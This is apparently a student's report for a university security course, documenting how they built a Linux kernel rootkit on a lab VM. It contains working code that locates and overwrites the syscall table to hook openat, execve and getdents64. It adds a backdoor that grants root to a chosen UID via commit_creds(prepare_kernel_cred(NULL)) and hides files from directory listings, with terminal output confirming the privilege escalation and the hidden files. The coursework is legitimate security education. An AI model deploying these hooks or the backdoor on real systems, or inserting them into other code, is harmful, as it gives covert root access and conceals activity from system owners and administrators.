

Part A - Set up

3. The address of the `sys_call_table` symbol inspecting `/proc/kallsyms` is `ffffffff84a013c0`. By using `grep`.

```
student@COMP4108-a2:~$ sudo bash
[sudo] password for student:
root@COMP4108-a2:/home/student# cat /proc/kallsyms | grep sys_call_table
ffffffff84a002a0 R x32_sys_call_table
ffffffff84a013c0 R sys_call_table
ffffffff84a02400 R ia32_sys_call_table
root@COMP4108-a2:/home/student#
```

4. I changed the placeholder “[NEEDED FOR PART A]” to “`sys_call_table`”

```
/*
 * TODO: NEEDED FOR PART A
 * Update the string provided to the kallsyms_lookup_name function
 *
 * Locates the address of the system call table using kallsyms_lookup_name
 * and returns it as an unsigned long *
 */
unsigned long * get_syscall_table_bf(void){
    unsigned long *syscall_table;
    syscall_table = (unsigned long*)kallsyms_lookup_name("sys_call_table");
    return syscall_table;
}
```

5. After running `make`, we can confirm that we built the rootkit framework

```
root@COMP4108-a2:/home/student/a2# make
make -C /lib/modules/5.4.0-171-generic/build M=/home/student/a2 modules
make[1]: Entering directory '/usr/src/linux-headers-5.4.0-171-generic'
Building modules, stage 2.
MODPOST 1 modules
make[1]: Leaving directory '/usr/src/linux-headers-5.4.0-171-generic'
```

6. After inserting the rootkit module by running `./insert.sh` as root, we can ensure it was inserted by running `lsmod | grep rootkit` which showed is that there is an entry for our rootkit in the list of loaded kernel modules (shows it was inserted successfully). Then to check the syslog, I ran `dmesg | tail` to see if the latest syslog entries has any that are related to the rootkit (rootkit module initializing. /rootkit module is loaded!).

```
root@COMP4108-a2:/home/student/a2# ./insert.sh
root@COMP4108-a2:/home/student/a2# lsmod | grep rootkit
rootkit                16384  0
root@COMP4108-a2:/home/student/a2#
```

```
Oct 13 17:33:09 COMP4108-a2 kernel: [1054864.267284] Rootkit module initializing.
Oct 13 17:33:09 COMP4108-a2 kernel: [1054864.284086] Rootkit module is loaded!

```

7. After removing the rootkit module by running `./eject.sh` as root, we can ensure it was removed by running `lsmod | grep rootkit` which showed is that there is no longer an entry for our rootkit in the list of loaded kernel modules (shows it was removed successfully). Then to check the syslog, I ran `dmesg | tail` to see if the latest syslog entries has any that are related to the removal of the rootkit (rootkit module unloaded!/rootkit module is cleanup complete.).

```
root@COMP4108-a2:/home/student/a2# ./eject.sh
root@COMP4108-a2:/home/student/a2# lsmod | grep rootkit
root@COMP4108-a2:/home/student/a2#
```

```
Oct 13 17:34:30 COMP4108-a2 kernel: [1054945.393246] Rootkit module is unloaded!
Oct 13 17:34:30 COMP4108-a2 kernel: [1054945.393267] Rootkit module cleanup complete.

```

8. After uncommenting the required code, and properly unprotecting and protecting the memory using the `unprotect_memory()` and `protect_memory()` functions in both `init_rootkit(void)` and `cleanup_rootkit(void)` , I rebuilt and loaded the rootkit module and tested it with a variety of files with the suffix `.txt` to trigger the `openat()` sys call which we can see worked in the sys log.

```

176 // Let's store the original functions so they can be restored later
177 original_openat = (t_syscall)__sys_call_table[__NR_openat];
178
179 /*
180  * TODO: NEEDED FOR PART A
181  * Unprotect the memory by calling the appropriate function
182  */
183 unprotect_memory();
184 /*
185  * TODO: NEEDED FOR PART A
186  * Uncomment after completing the unprotect and protect TODO's
187  */
188
189 // Let's hook openat() for an example of how to use the framework
190 __sys_call_table[__NR_openat] = (unsigned long) new_openat;
191
192 /*
193  * TODO: NEEDED FOR PARTS B AND C
194  * Hook your new execve and getdents functions after writing them
195  */
196
197 // Let's hook execve() for privilege exalation
198 // Let's hook getdents() to hide our files
199
200 /*
201  * TODO: NEEDED FOR PART A
202  * Protect the memory by calling the appropriate function
203  */
204 protect_memory();
205
206 printk(KERN_INFO "Rootkit module is loaded!\n");
207 return 0; // For successful load
208 }
209

```

```

210 static void __exit cleanup_rootkit(void){
211     printk(KERN_INFO "Rootkit module is unloaded!\n");
212
213     /*
214      * TODO: NEEDED FOR PART A
215      * Unprotect the memory by calling the appropriate function
216      */
217     unprotect_memory();
218     /*
219      * TODO: NEEDED FOR PART A
220      * Uncomment after completing the unprotect and protect TODO's
221      */
222     // Let's unhook and restore the original openat() function
223     __sys_call_table[__NR_openat] = (unsigned long)original_openat;
224
225     /*
226      * TODO: NEEDED FOR PARTS B AND C
227      * Unhook and restore the execve and getdents functions
228      */
229
230     // Let's unhook and restore the original execve() function
231     // Let's unhook and restore the original getdents() function
232
233     /*
234      * TODO: NEEDED FOR PART A
235      * Protect the memory by calling the appropriate function
236      */
237     protect_memory();
238     printk(KERN_INFO "Rootkit module cleanup complete.\n");
239 }
240

```

```
root@COMP4108-a2:/home/student/a2# ./insert.sh
root@COMP4108-a2:/home/student/a2# cat test.txt
cat: test.txt: No such file or directory
root@COMP4108-a2:/home/student/a2# cat 123.txt
cat: 123.txt: No such file or directory
root@COMP4108-a2:/home/student/a2# cat testfile.txt
cat: testfile.txt: No such file or directory
root@COMP4108-a2:/home/student/a2# dmesg | tail
[1053466.685793] Rootkit module is loaded!
[1053488.642521] openat() called for testfile.txt
[1053521.201322] openat() called for test.txt
[1053756.002678] Rootkit module is unloaded!
[1053756.002692] Rootkit module cleanup complete.
[1053771.008282] Rootkit module initializing.
[1053771.023506] Rootkit module is loaded!
[1053779.083233] openat() called for test.txt
[1053786.668331] openat() called for 123.txt
[1053896.252187] openat() called for testfile.txt
root@COMP4108-a2:/home/student/a2#
```

9. The two principles that help mitigate rootkits are P2 safe-defaults, P4 complete-mediation, and P6 least-privilege. Safe defaults deny access by default and only letting authorized entities to ignore this regulation. This helps rootkits since it restricts the rootkits ability to modify the system and reducing the attack angles they can exploit. Complete mediation is the principle that every access to each object needs to be properly authorized. This prevents rootkits from ignoring security checks and using exploits to gain unauthorized access. Least privilege is the principle that allocates the minimum privileges needed for a task and nothing more. This limits the rootkit from growing its control over the system.

Part B - Backdoor

1. To do this problem, I first added a variable to store the original `execve` function. Then I accepted `root_uid` as a kernel module parameter by using the existing code snip bit that was used for suffix and adjusting it slightly to fit our needs.

```
35
36 static t_syscall original_openat; // create a variable to store the original openat function
37
38 /*
39  * TODO: NEEDED FOR PART B AND C
40  * create a variable as above to store the original execve and getdents functions
41  */
42 static t_syscall original_execve; // create a variable to store the original execve function
43
44 /*
45  * The suffix to use for the openat hook code. This is the file extension
46  * we will be detecting. See insert.sh for how this is passed to the rootkit.
47  */
48 static char* suffix;
49 module_param(suffix, charp, 0);
50 MODULE_PARAM_DESC(suffix, "Received suffix parameter");
51
52 //*****
53 //TODO: NEEDED FOR PART B
54 // Accept root_uid as a kernel module parameter
55 // (see module_param() example above)
56 //*****
57 /*
58  * When a user with an effective UID = root_uid runs a command via execve()
59  * we make our hook grant them root priv. root_uid's value is provided as a
60  * kernel module argument.
61  */
62 static int root_uid;
63 module_param(root_uid, int, 0);
64 MODULE_PARAM_DESC(root_uid, "Received root uid parameter");
65
```

Then I wrote my new `_execve` syscall function which is mainly based on `openat` syscall function but removed the bulk of it and added a couple of `printk` statements to output the file name and the `uid`.

```
90 /* for part B question 1 - execve syscall */
91 asmlinkage int new_execve(const struct pt_regs* regs)
92 {
93     // Declare our return value and a variable to store the filename
94     long ret;
95     char *filename;
96     size_t filename_len;
97
98     // Get the filename the syscall was called for
99     filename = kmalloc(4096, GFP_KERNEL); // allocate kernel memory
100
101     // copy the filename into the kernel variable
102     if (strncpy_from_user(filename, (void*) regs->si, 4096) < 0){
103         kfree(filename);
104         return 0;
105     }
106
107     printk(KERN_INFO "executing %s\n", filename);
108     printk(KERN_INFO "effective uid is %d\n", current_uid().val);
109
110     kfree(filename);
111
112     // Invoke the original execve syscall
113     ret = original_execve(regs);
114
115     return ret;
116 }
117
```

Then in `init_rootkit` and `cleanup_rootkit` functions I added a couple of lines to store the original functions and to hook for privilege escalation.

```
186 static int __init init_rootkit(void)
187 {
188     printk(KERN_INFO "Rootkit module initializing.\n");
189
190     __sys_call_table = get_syscall_table_bf(); // Get the sys_call_table information
191
192     if (!__sys_call_table)
193         return -1;
194
195     cr0 = read_cr0();
196
197     /*
198     * TODO: NEEDED FOR PART A, B, AND C
199     * Uncomment the following lines as needed to store the original functions
200     * before they are hooked. You will need to add lines for the execve and
201     * getdents functions.
202     */
203
204     // Let's store the original functions so they can be restored later
205     original_openat = (t_syscall)__sys_call_table[__NR_openat];
206     original_execve = (t_syscall)__sys_call_table[__NR_execve];
207
208     /*
209     * TODO: NEEDED FOR PART A
210     * Unprotect the memory by calling the appropriate function
211     */
212     unprotect_memory();
213
214     /*
215     * TODO: NEEDED FOR PART A
216     * Uncomment after completing the unprotect and protect TODO's
217     */
218
219     // Let's hook openat() for an example of how to use the framework
220     __sys_call_table[__NR_openat] = (unsigned long) new_openat;
221     __sys_call_table[__NR_execve] = (unsigned long) new_execve;
```

```
240 static void __exit cleanup_rootkit(void)
241 {
242     printk(KERN_INFO "Rootkit module is unloaded!\n");
243
244     /*
245     * TODO: NEEDED FOR PART A
246     * Unprotect the memory by calling the appropriate function
247     */
248     unprotect_memory();
249
250     /*
251     * TODO: NEEDED FOR PART A
252     * Uncomment after completing the unprotect and protect TODO's
253     */
254     // Let's unhook and restore the original openat() function
255     __sys_call_table[__NR_openat] = (unsigned long)original_openat;
256     __sys_call_table[__NR_execve] = (unsigned long)original_execve;
257
258     /*
259     * TODO: NEEDED FOR PARTS B AND C
260     * Unhook and restore the execve and getdents functions
261     */
262
263     // Let's unhook and restore the original execve() function
264     // Let's unhook and restore the original getdents() function
265
266     /*
267     * TODO: NEEDED FOR PART A
268     * Protect the memory by calling the appropriate function
269     */
270     protect_memory();
271     printk(KERN_INFO "Rootkit module cleanup complete.\n");
272 }
```

```

root@COMP4108-a2:/home/student/a2# ./insert.sh
root@COMP4108-a2:/home/student/a2# tail /var/log/syslog
Oct 13 23:17:51 COMP4108-a2 kernel: [1075546.130067] executing /run/log/journal/eefe54e120589226463d960200000376/system.journal
Oct 13 23:17:51 COMP4108-a2 kernel: [1075546.130069] effective uid is 0
Oct 13 23:17:51 COMP4108-a2 kernel: [1075546.130104] executing /run/log/journal/eefe54e120589226463d960200000376/system.journal
Oct 13 23:17:51 COMP4108-a2 kernel: [1075546.130105] effective uid is 0
Oct 13 23:17:51 COMP4108-a2 kernel: [1075546.130154] executing /run/log/journal/eefe54e120589226463d960200000376/system.journal
Oct 13 23:17:51 COMP4108-a2 kernel: [1075546.130155] effective uid is 0
Oct 13 23:17:51 COMP4108-a2 kernel: [1075546.130191] executing /run/log/journal/eefe54e120589226463d960200000376/system.journal
Oct 13 23:17:51 COMP4108-a2 kernel: [1075546.130192] effective uid is 0
Oct 13 23:17:51 COMP4108-a2 kernel: [1075546.130253] executing /run/log/journal/eefe54e120589226463d960200000376/system.journal
Oct 13 23:17:51 COMP4108-a2 kernel: [1075546.130254] effective uid is 0
root@COMP4108-a2:/home/student/a2#

```

2. I included the header `#include <linux/cred.h>` so I can use `prepare_kernel_cred()` to prepare credentials with root privilege and `commit_creds()` that commits the new credentials (current UID and euid to root 0).

```

91  asmlinkage int new_execve(const struct pt_regs* regs){
92      // Declare our return value and a variable to store the filename
93      long ret;
94      char *filename;
95
96
97      // Get the filename the syscall was called for
98      filename = kmalloc(4096, GFP_KERNEL); // allocate kernel memory
99
100     // copy the filename into the kernel variable
101     if (strncpy_from_user(filename, (void*) regs->si, 4096) < 0){
102         kfree(filename);
103         return 0;
104     }
105
106     printk(KERN_INFO "executing %s\n", filename);
107     printk(KERN_INFO "effective uid is %d\n", current_uid().val);
108
109     if(current_uid().val == root_uid){
110         printk(KERN_INFO "giving root privileges to uid %d\n", root_uid);
111         if(commit_creds(prepare_kernel_cred(NULL)))
112             printk(KERN_ERR "unable to commit new creds\n");
113     }
114     kfree(filename);
115
116     // Invoke the original execve syscall
117     ret = original_execve(regs);
118
119     return ret;
120 }
121

```

I had to update insert.sh to pass the root_uid param through insert.sh.

```
1  #!/bin/bash
2
3  # Specify the extension suffix for the openat hook code
4  SUFFIX=.txt
5  USER_UID=1001
6  #Insert the rootkit module, providing some parameters
7  insmod rootkit.ko suffix=$SUFFIX root_uid=$USER_UID
```

- student@COMP4108-a2:~\$ whoami
student
- student@COMP4108-a2:~\$ whoami
root
- student@COMP4108-a2:~\$ █

Part C - File Cloaking

1. I wrote the getdents64 function that successfully prints out the name of all directory entries.

```
root@COMP4108-a2:/home/student/a2# ./insert.sh
root@COMP4108-a2:/home/student/a2# tail /var/log/syslog
Oct 14 01:30:02 COMP4108-a2 kernel: [1083477.620544] entry: .
Oct 14 01:30:02 COMP4108-a2 kernel: [1083477.620547] entry: ..
Oct 14 01:30:02 COMP4108-a2 kernel: [1083477.620635] Rootkit module is unloaded!
Oct 14 01:30:02 COMP4108-a2 kernel: [1083477.620654] Rootkit module cleanup complete.
Oct 14 01:30:07 COMP4108-a2 kernel: [1083482.906728] Rootkit module initializing.
Oct 14 01:30:07 COMP4108-a2 kernel: [1083482.921860] Rootkit module is loaded!
Oct 14 01:30:08 COMP4108-a2 kernel: [1083483.750961] getdents64() hook invoked.
Oct 14 01:30:08 COMP4108-a2 kernel: [1083483.750965] entry: .
Oct 14 01:30:08 COMP4108-a2 kernel: [1083483.750968] entry: ..
Oct 14 01:30:08 COMP4108-a2 kernel: [1083483.750971] entry: 20795
root@COMP4108-a2:/home/student/a2#
```

2. As we can see in the output, after following the instructions we can see that I have successfully validated that after inserting the kernel module the file \$sys\$_lol_hidden.txt is no longer included in ls -la (all files hidden or not)

```

LD [M] /home/student/a2/rootkit.ko
make[1]: Leaving directory '/usr/src/linux-headers-5.4.0-171-generic'
root@COMP4108-a2:/home/student/a2# touch \${sys}_lol_hidden.txt
root@COMP4108-a2:/home/student/a2# ls -la
total 172
drwxrwxr-x 2 student student 4096 Oct 14 15:22 .
drwxr-xr-x 9 student student 4096 Oct 14 15:12 ..
-rw-r--r-- 1 root root 0 Oct 14 15:22 '\${sys}_lol_hidden.txt'
-rwxrwxr-x 1 student student 107 Feb 1 2024 eject.sh
-rwxrwxr-x 1 student student 257 Oct 14 15:17 insert.sh
-rw-rw-r-- 1 student student 174 Feb 1 2024 Makefile
-rw-r--r-- 1 root root 28 Oct 14 15:21 modules.order
-rw-r--r-- 1 root root 0 Oct 14 15:21 Module.symvers
-rw-rw-r-- 1 student student 9567 Oct 14 15:20 rootkit.c
-rw-r--r-- 1 root root 13112 Oct 14 15:21 rootkit.ko
-rw-r--r-- 1 root root 238 Oct 14 15:21 .rootkit.ko.cmd
-rw-r--r-- 1 root root 28 Oct 14 15:21 rootkit.mod
-rw-r--r-- 1 root root 1430 Oct 14 15:21 rootkit.mod.c
-rw-r--r-- 1 root root 112 Oct 14 15:21 .rootkit.mod.cmd
-rw-r--r-- 1 root root 4408 Oct 14 15:21 rootkit.mod.o
-rw-r--r-- 1 root root 30946 Oct 14 15:21 .rootkit.mod.o.cmd
-rw-r--r-- 1 root root 10048 Oct 14 15:21 rootkit.o
-rw-r--r-- 1 root root 49769 Oct 14 15:21 .rootkit.o.cmd
root@COMP4108-a2:/home/student/a2# ./insert.sh
root@COMP4108-a2:/home/student/a2# ls -la
total 172
drwxrwxr-x 2 student student 4096 Oct 14 15:22 .
drwxr-xr-x 9 student student 4096 Oct 14 15:12 ..
-rwxrwxr-x 1 student student 107 Feb 1 2024 eject.sh
-rwxrwxr-x 1 student student 257 Oct 14 15:17 insert.sh
-rw-rw-r-- 1 student student 174 Feb 1 2024 Makefile
-rw-r--r-- 1 root root 28 Oct 14 15:21 modules.order
-rw-r--r-- 1 root root 0 Oct 14 15:21 Module.symvers
-rw-rw-r-- 1 student student 9567 Oct 14 15:20 rootkit.c
-rw-r--r-- 1 root root 13112 Oct 14 15:21 rootkit.ko
-rw-r--r-- 1 root root 238 Oct 14 15:21 .rootkit.ko.cmd
-rw-r--r-- 1 root root 28 Oct 14 15:21 rootkit.mod
-rw-r--r-- 1 root root 1430 Oct 14 15:21 rootkit.mod.c
-rw-r--r-- 1 root root 112 Oct 14 15:21 .rootkit.mod.cmd
-rw-r--r-- 1 root root 4408 Oct 14 15:21 rootkit.mod.o
-rw-r--r-- 1 root root 30946 Oct 14 15:21 .rootkit.mod.o.cmd
-rw-r--r-- 1 root root 10048 Oct 14 15:21 rootkit.o
-rw-r--r-- 1 root root 49769 Oct 14 15:21 .rootkit.o.cmd
root@COMP4108-a2:/home/student/a2# dmesg | tail
[ 835.354945] entry: Module.symvers
[ 835.354947] entry: rootkit.mod
[ 836.254992] getdents64() hook invoked.
[ 836.254996] entry: .
[ 836.254999] entry: ..
[ 836.255002] entry: 1019
[ 836.270211] executing \xe0\xb05!cU
[ 836.270215] effective uid is 0
[ 836.270429] executing @\xc83!cU
[ 836.270433] effective uid is 0
root@COMP4108-a2:/home/student/a2#

```